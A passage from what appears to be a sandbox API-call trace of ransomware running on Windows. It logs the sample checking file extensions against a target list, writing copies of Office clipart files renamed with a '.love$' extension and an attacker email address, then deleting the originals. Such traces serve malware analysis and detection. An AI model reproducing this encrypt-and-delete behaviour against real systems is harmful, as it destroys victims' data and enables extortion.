(lpString=".dbf") returned 4 [0232.848] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0232.848] lstrlenW (lpString=".1cd") returned 4 [0232.848] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0232.848] lstrlenW (lpString=".jpg") returned 4 [0232.848] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0232.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0232.848] lstrlenW (lpString=".doc") returned 4 [0232.848] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.848] lstrlenW (lpString=".docx") returned 5 [0232.848] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0232.848] lstrlenW (lpString=".pdf") returned 4 [0232.848] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.848] lstrlenW (lpString=".xls") returned 4 [0232.848] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.849] lstrlenW (lpString=".xlsx") returned 5 [0232.849] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0232.849] lstrlenW (lpString=".ppt") returned 4 [0232.849] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0232.849] lstrlenW (lpString=".zip") returned 4 [0232.849] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.849] lstrlenW (lpString=".rar") returned 4 [0232.849] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.849] lstrlenW (lpString=".bz2") returned 4 [0232.849] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.849] lstrlenW (lpString=".7z") returned 3 [0232.849] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0232.849] lstrlenW (lpString=".dbf") returned 4 [0232.849] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0232.849] lstrlenW (lpString=".1cd") returned 4 [0232.849] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0232.849] lstrlenW (lpString=".jpg") returned 4 [0232.849] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.849] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0232.849] lstrlenW (lpString="BL00008_.WMF") returned 12 [0232.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0232.852] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=12520) returned 1 [0232.853] CloseHandle (hObject=0x48c) returned 1 [0232.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf")) returned 0x220 [0232.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0232.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0232.853] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.853] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0232.854] GetLastError () returned 0x0 [0232.854] ReadFile (in: hFile=0x48c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x30e8, lpOverlapped=0x0) returned 1 [0233.161] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x30f0, lpOverlapped=0x0) returned 1 [0233.163] ReadFile (in: hFile=0x48c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0233.163] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0233.164] SetEndOfFile (hFile=0x3bc) returned 1 [0233.737] CloseHandle (hObject=0x3bc) returned 1 [0233.737] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.737] SetEndOfFile (hFile=0x48c) returned 1 [0233.741] CloseHandle (hObject=0x48c) returned 1 [0233.741] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0233.753] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf")) returned 1 [0233.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0233.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0233.757] lstrlenW (lpString=".doc") returned 4 [0233.758] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.758] lstrlenW (lpString=".docx") returned 5 [0233.758] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0233.758] lstrlenW (lpString=".pdf") returned 4 [0233.758] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.758] lstrlenW (lpString=".xls") returned 4 [0233.758] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.758] lstrlenW (lpString=".xlsx") returned 5 [0233.758] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0233.758] lstrlenW (lpString=".ppt") returned 4 [0233.758] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0233.758] lstrlenW (lpString=".zip") returned 4 [0233.758] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.758] lstrlenW (lpString=".rar") returned 4 [0233.758] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.758] lstrlenW (lpString=".bz2") returned 4 [0233.758] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.758] lstrlenW (lpString=".7z") returned 3 [0233.758] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0233.758] lstrlenW (lpString=".dbf") returned 4 [0233.758] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0233.758] lstrlenW (lpString=".1cd") returned 4 [0233.758] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0233.758] lstrlenW (lpString=".jpg") returned 4 [0233.758] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0233.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0233.759] lstrlenW (lpString=".doc") returned 4 [0233.759] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.759] lstrlenW (lpString=".docx") returned 5 [0233.759] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0233.759] lstrlenW (lpString=".pdf") returned 4 [0233.759] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.759] lstrlenW (lpString=".xls") returned 4 [0233.759] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.759] lstrlenW (lpString=".xlsx") returned 5 [0233.759] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0233.759] lstrlenW (lpString=".ppt") returned 4 [0233.759] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0233.759] lstrlenW (lpString=".zip") returned 4 [0233.759] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.759] lstrlenW (lpString=".rar") returned 4 [0233.759] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.759] lstrlenW (lpString=".bz2") returned 4 [0233.759] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.759] lstrlenW (lpString=".7z") returned 3 [0233.759] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0233.759] lstrlenW (lpString=".dbf") returned 4 [0233.759] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0233.759] lstrlenW (lpString=".1cd") returned 4 [0233.759] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0233.760] lstrlenW (lpString=".jpg") returned 4 [0233.760] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.760] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0233.760] lstrlenW (lpString="BL00098_.WMF") returned 12 [0233.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0233.761] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=1012) returned 1 [0233.761] CloseHandle (hObject=0x48c) returned 1 [0233.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf")) returned 0x220 [0233.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0233.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0233.762] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.762] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0233.766] GetLastError () returned 0x0 [0233.766] ReadFile (in: hFile=0x48c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x3f4, lpOverlapped=0x0) returned 1 [0233.777] WriteFile (in: hFile=0x46c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x400, lpOverlapped=0x0) returned 1 [0233.778] ReadFile (in: hFile=0x48c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0233.778] WriteFile (in: hFile=0x46c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0233.778] SetEndOfFile (hFile=0x46c) returned 1 [0233.778] CloseHandle (hObject=0x46c) returned 1 [0233.778] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.778] SetEndOfFile (hFile=0x48c) returned 1 [0233.782] CloseHandle (hObject=0x48c) returned 1 [0233.783] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0233.783] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf")) returned 1 [0233.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0233.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0233.784] lstrlenW (lpString=".doc") returned 4 [0233.784] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.784] lstrlenW (lpString=".docx") returned 5 [0233.784] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0233.784] lstrlenW (lpString=".pdf") returned 4 [0233.784] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.784] lstrlenW (lpString=".xls") returned 4 [0233.784] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.784] lstrlenW (lpString=".xlsx") returned 5 [0233.785] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0233.785] lstrlenW (lpString=".ppt") returned 4 [0233.785] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0233.785] lstrlenW (lpString=".zip") returned 4 [0233.785] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.785] lstrlenW (lpString=".rar") returned 4 [0233.785] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.785] lstrlenW (lpString=".bz2") returned 4 [0233.785] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.785] lstrlenW (lpString=".7z") returned 3 [0233.785] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0233.785] lstrlenW (lpString=".dbf") returned 4 [0233.785] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0233.785] lstrlenW (lpString=".1cd") returned 4 [0233.785] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0233.785] lstrlenW (lpString=".jpg") returned 4 [0233.785] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0233.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0233.786] lstrlenW (lpString=".doc") returned 4 [0233.786] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.786] lstrlenW (lpString=".docx") returned 5 [0233.786] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0233.786] lstrlenW (lpString=".pdf") returned 4 [0233.786] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.786] lstrlenW (lpString=".xls") returned 4 [0233.786] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.786] lstrlenW (lpString=".xlsx") returned 5 [0233.786] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0233.786] lstrlenW (lpString=".ppt") returned 4 [0233.786] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0233.786] lstrlenW (lpString=".zip") returned 4 [0233.786] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.787] lstrlenW (lpString=".rar") returned 4 [0233.787] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.787] lstrlenW (lpString=".bz2") returned 4 [0233.787] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.787] lstrlenW (lpString=".7z") returned 3 [0233.787] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0233.787] lstrlenW (lpString=".dbf") returned 4 [0233.787] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0233.787] lstrlenW (lpString=".1cd") returned 4 [0233.787] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0233.787] lstrlenW (lpString=".jpg") returned 4 [0233.787] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.787] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0233.787] lstrlenW (lpString="BL00105_.WMF") returned 12 [0233.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0233.788] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=880) returned 1 [0233.788] CloseHandle (hObject=0x48c) returned 1 [0233.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf")) returned 0x220 [0233.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0233.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0233.789] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.789] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0233.790] GetLastError () returned 0x0 [0233.790] ReadFile (in: hFile=0x48c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x370, lpOverlapped=0x0) returned 1 [0233.800] WriteFile (in: hFile=0x46c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x380, lpOverlapped=0x0) returned 1 [0233.801] ReadFile (in: hFile=0x48c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0233.801] WriteFile (in: hFile=0x46c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0233.801] SetEndOfFile (hFile=0x46c) returned 1 [0233.802] CloseHandle (hObject=0x46c) returned 1 [0233.802] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.802] SetEndOfFile (hFile=0x48c) returned 1 [0233.806] CloseHandle (hObject=0x48c) returned 1 [0233.806] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0233.806] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf")) returned 1 [0233.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0233.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0233.807] lstrlenW (lpString=".doc") returned 4 [0233.807] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.807] lstrlenW (lpString=".docx") returned 5 [0233.807] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0233.808] lstrlenW (lpString=".pdf") returned 4 [0233.808] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.808] lstrlenW (lpString=".xls") returned 4 [0233.808] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.808] lstrlenW (lpString=".xlsx") returned 5 [0233.808] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0233.808] lstrlenW (lpString=".ppt") returned 4 [0233.808] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0233.808] lstrlenW (lpString=".zip") returned 4 [0233.808] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.808] lstrlenW (lpString=".rar") returned 4 [0233.808] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.808] lstrlenW (lpString=".bz2") returned 4 [0233.808] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.808] lstrlenW (lpString=".7z") returned 3 [0233.808] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0233.808] lstrlenW (lpString=".dbf") returned 4 [0233.808] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0233.808] lstrlenW (lpString=".1cd") returned 4 [0233.808] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0233.808] lstrlenW (lpString=".jpg") returned 4 [0233.808] lstrcmpiW (lpString1=".jpg", 